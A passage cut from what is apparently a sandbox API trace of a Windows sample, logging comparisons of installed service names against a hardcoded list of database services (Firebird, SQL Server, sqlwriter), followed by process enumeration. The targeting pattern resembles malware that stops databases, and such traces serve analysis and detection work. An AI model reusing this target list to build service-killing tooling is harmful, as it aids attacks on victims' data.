(lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0091.467] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0091.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0091.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0091.468] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0091.468] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0091.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0091.468] lstrlenW (lpString="CryptSvc") returned 8 [0091.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0091.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0091.468] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0091.468] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0091.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0091.468] lstrlenW (lpString="DcomLaunch") returned 10 [0091.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0091.468] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0091.468] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0091.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0091.468] lstrlenW (lpString="DeviceAssociationService") returned 24 [0091.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0091.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0091.468] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0091.468] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0091.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0091.468] lstrlenW (lpString="Dhcp") returned 4 [0091.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0091.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0091.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0091.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0091.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0091.469] lstrlenW (lpString="Dnscache") returned 8 [0091.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0091.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0091.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0091.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0091.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0091.469] lstrlenW (lpString="DoSvc") returned 5 [0091.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0091.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0091.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0091.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0091.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0091.469] lstrlenW (lpString="DPS") returned 3 [0091.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0091.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0091.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0091.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0091.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0091.469] lstrlenW (lpString="DusmSvc") returned 7 [0091.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0091.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0091.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0091.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0091.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0091.470] lstrlenW (lpString="EventLog") returned 8 [0091.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0091.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0091.470] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0091.470] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0091.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0091.470] lstrlenW (lpString="EventSystem") returned 11 [0091.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0091.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0091.470] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0091.470] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0091.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0091.470] lstrlenW (lpString="FontCache") returned 9 [0091.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0091.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0091.470] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0091.470] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0091.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0091.470] lstrlenW (lpString="gpsvc") returned 5 [0091.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0091.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0091.470] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0091.470] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0091.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0091.471] lstrlenW (lpString="iphlpsvc") returned 8 [0091.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0091.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0091.471] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0091.471] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0091.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0091.471] lstrlenW (lpString="KeyIso") returned 6 [0091.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0091.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0091.471] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0091.471] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0091.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0091.471] lstrlenW (lpString="LanmanServer") returned 12 [0091.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0091.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0091.471] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0091.471] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0091.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0091.471] lstrlenW (lpString="LanmanWorkstation") returned 17 [0091.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0091.471] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0091.471] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0091.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0091.471] lstrlenW (lpString="lfsvc") returned 5 [0091.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0091.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0091.472] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0091.472] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0091.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0091.472] lstrlenW (lpString="lmhosts") returned 7 [0091.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0091.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0091.472] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0091.472] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0091.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0091.472] lstrlenW (lpString="LSM") returned 3 [0091.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0091.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0091.472] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0091.472] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0091.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0091.472] lstrlenW (lpString="MapsBroker") returned 10 [0091.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0091.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0091.472] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0091.472] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0091.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0091.472] lstrlenW (lpString="MpsSvc") returned 6 [0091.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0091.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0091.473] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0091.473] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0091.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0091.473] lstrlenW (lpString="NcbService") returned 10 [0091.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0091.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0091.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0091.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0091.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0091.473] lstrlenW (lpString="netprofm") returned 8 [0091.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0091.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0091.473] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0091.473] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0091.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0091.473] lstrlenW (lpString="NlaSvc") returned 6 [0091.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0091.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0091.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0091.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0091.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0091.473] lstrlenW (lpString="nsi") returned 3 [0091.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0091.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0091.473] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0091.474] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0091.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0091.474] lstrlenW (lpString="PcaSvc") returned 6 [0091.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0091.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0091.474] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0091.474] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0091.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0091.474] lstrlenW (lpString="PlugPlay") returned 8 [0091.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0091.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0091.474] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0091.474] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0091.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0091.474] lstrlenW (lpString="Power") returned 5 [0091.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0091.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0091.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0091.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0091.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0091.474] lstrlenW (lpString="ProfSvc") returned 7 [0091.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0091.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0091.474] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0091.474] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0091.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0091.475] lstrlenW (lpString="RpcEptMapper") returned 12 [0091.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.475] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0091.475] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0091.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0091.475] lstrlenW (lpString="RpcSs") returned 5 [0091.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0091.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0091.475] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0091.873] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0091.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0091.873] lstrlenW (lpString="SamSs") returned 5 [0091.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0091.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0091.874] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0091.874] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0091.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0091.874] lstrlenW (lpString="Schedule") returned 8 [0091.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0091.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0091.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0091.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0091.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0091.874] lstrlenW (lpString="SecurityHealthService") returned 21 [0091.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0091.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0091.874] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0091.874] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0091.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0091.874] lstrlenW (lpString="SENS") returned 4 [0091.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0091.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0091.874] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0091.874] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0091.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0091.874] lstrlenW (lpString="ShellHWDetection") returned 16 [0091.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.874] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0091.874] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0091.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0091.874] lstrlenW (lpString="Spooler") returned 7 [0091.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0091.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0091.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0091.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0091.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0091.875] lstrlenW (lpString="SSDPSRV") returned 7 [0091.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0091.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0091.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0091.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0091.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0091.875] lstrlenW (lpString="StateRepository") returned 15 [0091.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0091.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0091.875] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0091.875] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0091.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0091.875] lstrlenW (lpString="SysMain") returned 7 [0091.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0091.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0091.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0091.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0091.875] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b980 | out: hHeap=0x4b0000) returned 1 [0091.875] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0091.927] Process32FirstW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.927] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0091.928] lstrlenW (lpString="System") returned 6 [0091.928] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0091.930] lstrlenW (lpString="smss.exe") returned 8 [0091.930] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.931] lstrlenW (lpString="csrss.exe") returned 9 [0091.931] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0091.931] lstrlenW (lpString="wininit.exe") returned 11 [0091.931] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.932] lstrlenW (lpString="csrss.exe") returned 9 [0091.932] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0091.932] lstrlenW (lpString="winlogon.exe") returned 12 [0091.932] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0091.933] lstrlenW (lpString="services.exe") returned 12 [0091.933] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0091.934] lstrlenW (lpString="lsass.exe") returned 9 [0091.934] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.934] lstrlenW (lpString="svchost.exe") returned 11 [0091.934] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.935] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0091.935] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.935] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0091.935] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.936] lstrlenW (lpString="svchost.exe") returned 11 [0091.936] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0091.936] lstrlenW (lpString="dwm.exe") returned 7 [0091.936] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.937] lstrlenW (lpString="svchost.exe") returned 11 [0091.937] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.937] lstrlenW (lpString="svchost.exe") returned 11 [0091.937] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.938] lstrlenW (lpString="svchost.exe") returned 11 [0091.938] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.939] lstrlenW (lpString="svchost.exe") returned 11 [0091.939] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.939] lstrlenW (lpString="svchost.exe") returned 11 [0091.939] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | 